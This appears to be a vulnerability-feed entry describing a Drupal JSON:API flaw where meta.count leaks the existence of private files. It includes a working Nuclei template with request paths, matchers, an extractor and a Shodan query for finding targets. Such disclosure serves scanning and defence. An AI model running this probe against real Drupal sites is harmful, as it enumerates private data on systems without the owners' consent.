The Drupal JSON:API endpoint enforces access control on returned entities but not on the meta.count aggregate. An unauthenticated user can filter on uri.value (STARTS_WITH private://) with page[limit]=0 and read a non-zero meta.count while the data array stays empty — confirming the existence and enumerability of private files through a metadata side-channel.
Details
Severity
中危
Published
PoC
Public
PoC
id: drupal-jsonapi-file-enum
info:
name: Drupal JSON:API meta.count - File Enumeration
author: WakedXY
severity: medium
description: |
The Drupal JSON:API endpoint enforces access control on returned entities but not on the meta.count aggregate. An unauthenticated user can filter on uri.value (STARTS_WITH private://) with page[limit]=0 and read a non-zero meta.count while the data array stays empty — confirming the existence and enumerability of private files through a metadata side-channel.
reference:
- https://github.com/wakedxy/CVEForge/tree/main/DRUPAL-JSONAPI-ORACLE
- https://www.drupal.org/sa-core-2020-002
- https://www.drupal.org/node/3021545
metadata:
verified: false
shodan-query: http.component:"Drupal"
tags: drupal,jsonapi,exposure,enum,idor
http:
- method: GET
path:
- "{{BaseURL}}/jsonapi/file/file?filter[uri.value][operator]=STARTS_WITH&filter[uri.value][value]=private%3A%2F%2F&page[limit]=0"
- "{{BaseURL}}/fr/jsonapi/file/file?filter[uri.value][operator]=STARTS_WITH&filter[uri.value][value]=private%3A%2F%2F&page[limit]=0"
- "{{BaseURL}}/en/jsonapi/file/file?filter[uri.value][operator]=STARTS_WITH&filter[uri.value][value]=private%3A%2F%2F&page[limit]=0"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/vnd.api+json"
- type: word
part: body
words:
- '"data":[]'
- '"data": []'
condition: or
- type: regex
part: body
regex:
- '"count"\s*:\s*[1-9][0-9]*'
extractors:
- type: regex
part: body
group: 1
regex:
- '"count"\s*:\s*([0-9]+)'
# digest: 490a0046304402206a145a06f49a5bc18d43a0a873f9fe6a7c02902a40d59ffc6bdcf4b85c7200880220451d4f44b479f1402aca6dec54b6d9d53d35cc2d382d9015f7bc1e1493f021ad:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.